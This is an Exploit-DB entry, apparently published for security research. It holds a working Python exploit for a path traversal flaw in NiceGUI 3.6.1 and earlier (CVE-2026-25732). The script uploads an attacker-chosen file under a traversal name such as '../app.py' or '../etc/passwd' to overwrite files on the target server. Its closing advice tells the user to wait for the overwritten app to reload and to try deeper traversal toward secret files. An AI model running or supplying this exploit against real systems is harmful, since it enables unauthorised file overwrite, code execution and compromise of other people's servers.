Exploit-DB #52534
Description: NiceGUI 3.6.1 - Path Traversal
Type: webapps
Platform: multiple
Date: 2026-04-30
Author: banyamer

Exploit:
# Exploit Title: NiceGUI 3.6.1 - Path Traversal 
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: NiceGUI <= 3.6.1 (Python 3.8–3.12 on Linux/Windows)
# CVE: CVE-2026-25732
#
# Affected Versions: <= 3.6.1 (fixed in 3.7.0)
#
# Type: Remote Arbitrary File Write / Path Traversal
# Platform: Web Application (Python / NiceGUI)
# Author Country: Jordan
# Weakness: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
# Attack Vector: Network
# Privileges Required: None
#!/usr/bin/env python3
"""
CVE-2026-25732 — NiceGUI arbitrary file write (path traversal)
Exploits unsanitized FileUpload.name when app uses it in save path.

Usage:
  python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
  python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
"""

import sys
import requests
from urllib.parse import urljoin
from pathlib import Path

def exploit(target_url: str, malicious_filename: str, local_payload_path: str | Path):
    target_url = target_url.rstrip('/') + '/'

    try:
        with open(local_payload_path, 'rb') as f:
            payload_bytes = f.read()
    except Exception as e:
        print(f"[-] Cannot read payload file: {e}")
        sys.exit(1)

    files = {
        'file': (malicious_filename, payload_bytes, 'application/octet-stream')
    }

    print(f"[*] Target       : {target_url}")
    print(f"[*] Malicious name : {malicious_filename}")
    print(f"[*] Payload size   : {len(payload_bytes):,} bytes")

    try:
        # NiceGUI upload endpoint is usually the page itself (multipart POST to /)
        r = requests.post(
            target_url,
            files=files,
            timeout=12,
            allow_redirects=False
        )

        print(f"[+] Response     : {r.status_code} {r.reason}")
        if r.status_code in (200, 201, 204):
            print("[SUCCESS] Upload accepted — file likely written")
        elif r.status_code == 413:
            print("[!] Payload too large (server limit)")
        elif r.status_code in (400, 403, 422):
            print("[!] Rejected — target may be patched / not vulnerable / wrong endpoint")
        else:
            print("[?] Unexpected response — check manually")

        print("\nSnippet of response:")
        print(r.text[:600].replace('\n', ' ').strip() + "..." if len(r.text) > 600 else r.text)

    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")

    print("\nNext steps:")
    print(" • Check filesystem on target (if you have access)")
    print(" • If you overwrote app.py / main.py → wait for reload / restart")
    print(" • Try deeper traversal: '../../some/secret/file' etc.")

if __name__ == '__main__':
    if len(sys.argv) != 4:
        print(__doc__)
        sys.exit(1)

    target = sys.argv[1]
    dest_filename = sys.argv[2]
    payload_file = sys.argv[3]

    exploit(target, dest_filename, payload_file)